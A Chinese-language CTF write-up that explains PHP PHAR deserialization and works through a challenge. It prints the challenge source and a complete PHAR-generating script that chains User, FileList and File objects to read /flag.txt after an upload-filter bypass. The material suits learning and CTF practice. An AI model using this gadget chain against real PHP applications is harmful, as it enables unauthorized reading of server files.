目录
引文
之前将PHP反序列化的基础知识讲了一遍,不知道大家学习的怎么样了,今天给大家带来PHP反序列化的进阶知识:PHAR反序列化,也是之前本人在CTF比赛中经常遇到的一种php反序列化的进阶使用吧,下面先给大家讲一讲PHAR反序列化的前置知识。
前置知识
PHAR
在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点。
接下来带大家看一下如何构造phar文件:
PHAR状态是只读的,创建一个的Phar文件需要允许写入Phar文件,这需要修改一下:
php.ini:phar.readonly = Off; #php版本要大于等于5.2
其中php.ini为php的配置文件。
PHAR文件结构
上面简单介绍了phar的基本定义,接下来我们学习一下PHAR文件的基本结构:
A stub
phar文件的标志,具体代码为:
xxx<?php xxx; __HALT_COMPILER();?>
注意的是phar文件始终要以__HALT_COMPILER();?>来进行结尾才能被识别为PHAR文件。
A manifest describing the contents
以序列化的形式存储用户自定义的meta-data,也是我们利用反序列化漏洞的点。
The file contents
压缩的文件内容。
signature
签名信息,放在文件末尾。
PHAR文件生成样例
了解了以上信息,我们就可以尝试来构建一个PHAR文件的生成,样例代码如下:
<?php class User{ var $name; } @unlink(\"XINO.phar\"); $phar = new Phar(\"XINO.phar\"); $phar->startBuffering(); $phar->setStub(\"<?php __HALT_COMPILER(); ?>\"); $o = new User(); $o->name = \"XINO\"; $phar->setMetadata($o); $phar->addFromString(\"test.txt\", \"test\"); $phar->stopBuffering(); ?>
运行之后结果如下:
成功生成了名为XINO.phar的phar类型文件,我们放进010editor查看:
看到 meta-data 序列化的内容成功的保存到了文件中。我们再用phar协议去读取就好了。这里需要注意的一点是:一些文件函数 通过 phar:// 伪协议解析phar文件时都会将meta-data反序列化,例如:
fileatime filectime filemtime file_exists file_get_contents file_put_contents file filegroup fopen fileinode fileowner fileperms is_dir is_file is_link is_executable is_readable is_writeable is_wirtble parse_ini_file copy unlink stat readfile info_file
实战
学完上面的内容后,我们便可以尝试一下实战了,先看看利用条件:
phar文件要能够上传到服务器端
要有可用的魔术方法作为"跳板"
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
下面我们来看一个例题:
进去是一个登陆界面,我们注册登陆进去,发现了一个文件上传的点。要求得文件类型只能是gif/jpg/png的类型,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。抓包后会发现POST传参download处存在任意文件下载:
下载源码:index.php,delete.php,download.php,class.php
class.php:
<?php error_reporting(0); $dbaddr = \"127.0.0.1\"; $dbuser = \"root\"; $dbpass = \"root\"; $dbname = \"dropbox\"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare(\"SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;\"); $stmt->bind_param(\"s\", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . \"SiAchGHmFx\"); $stmt = $this->db->prepare(\"INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);\"); $stmt->bind_param(\"ss\", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . \"SiAchGHmFx\"); $stmt = $this->db->prepare(\"SELECT `password` FROM `users` WHERE `username` = ?;\"); $stmt->bind_param(\"s\", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(\".\", $filenames); unset($filenames[$key]); $key = array_search(\"..\", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = \'<div id=\"container\" class=\"container\"><div class=\"table-responsive\"><table id=\"table\" class=\"table table-bordered table-hover sm-font\">\'; $table .= \'<thead><tr>\'; foreach ($this->funcs as $func) { $table .= \'<th scope=\"col\" class=\"text-center\">\' . htmlentities($func) . \'</th>\'; } $table .= \'<th scope=\"col\" class=\"text-center\">Opt</th>\'; $table .= \'</thead><tbody>\'; foreach ($this->results as $filename => $result) { $table .= \'<tr>\'; foreach ($result as $func => $value) { $table .= \'<td class=\"text-center\">\' . htmlentities($value) . \'</td>\'; } $table .= \'<td class=\"text-center\" filename=\"\' . htmlentities($filename) . \'\"><a href=\"#\" rel=\"external nofollow\" rel=\"external nofollow\" class=\"download\">下载</a> / <a href=\"#\" rel=\"external nofollow\" rel=\"external nofollow\" class=\"delete\">删除</a></td>\'; $table .= \'</tr>\'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(\' B\', \' KB\', \' MB\', \' GB\', \' TB\'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
delete.php
<?php #delete.php session_start(); if (!isset($_SESSION[\'login\'])) { header(\"Location: login.php\"); die(); } if (!isset($_POST[\'filename\'])) { die(); } include \"class.php\"; chdir($_SESSION[\'sandbox\']); $file = new File(); $filename = (string) $_POST[\'filename\']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header(\"Content-type: application/json\"); $response = array(\"success\" => true, \"error\" => \"\"); echo json_encode($response); } else { Header(\"Content-type: application/json\"); $response = array(\"success\" => false, \"error\" => \"File not exist\"); echo json_encode($response); } ?>
简单分析一下:
创建一个user的对象,而且db变量是一个FileList对象,文件名为flag的路径。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法(不理解的可以去看之前的文章),于是执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来($this->filename=flag文件
)。
于是我们尝试写一个生成PHAR文件的脚本:
<?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function __construct() { $file = new File(); $file->filename = \"/flag.txt\"; $this->files = array($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar(\"XINO.phar\"); //后缀名必须为phar $phar->startBuffering(); $phar->addFromString(\"exp.txt\", \"test\"); //添加要压缩的文件 $phar->setStub(\"<?php __HALT_COMPILER(); ?>\"); //设置stub $phar->setMetadata($a); //将自定义的meta-data存入manifest //签名自动计算 $phar->stopBuffering(); ?>
生成文件后将PHAR文件改文件类型然后上传,之后用PHAR协议去读取就可以得到flag。
结语
今天比较详细的讲了PHAR反序列化漏洞的原理以及应用方法,可能刚开始学不太好理解,可以根据之前PHP反序列化的思路去理解一下。有兴趣的小伙伴可以自己去搭建靶机来进行测试,喜欢的小伙伴不妨一键三连。
以上就是PHP开发技巧之PHAR反序列化详解的详细内容,更多关于PHP开发PHAR反序列化的资料请关注其它相关文章!
暂无评论内容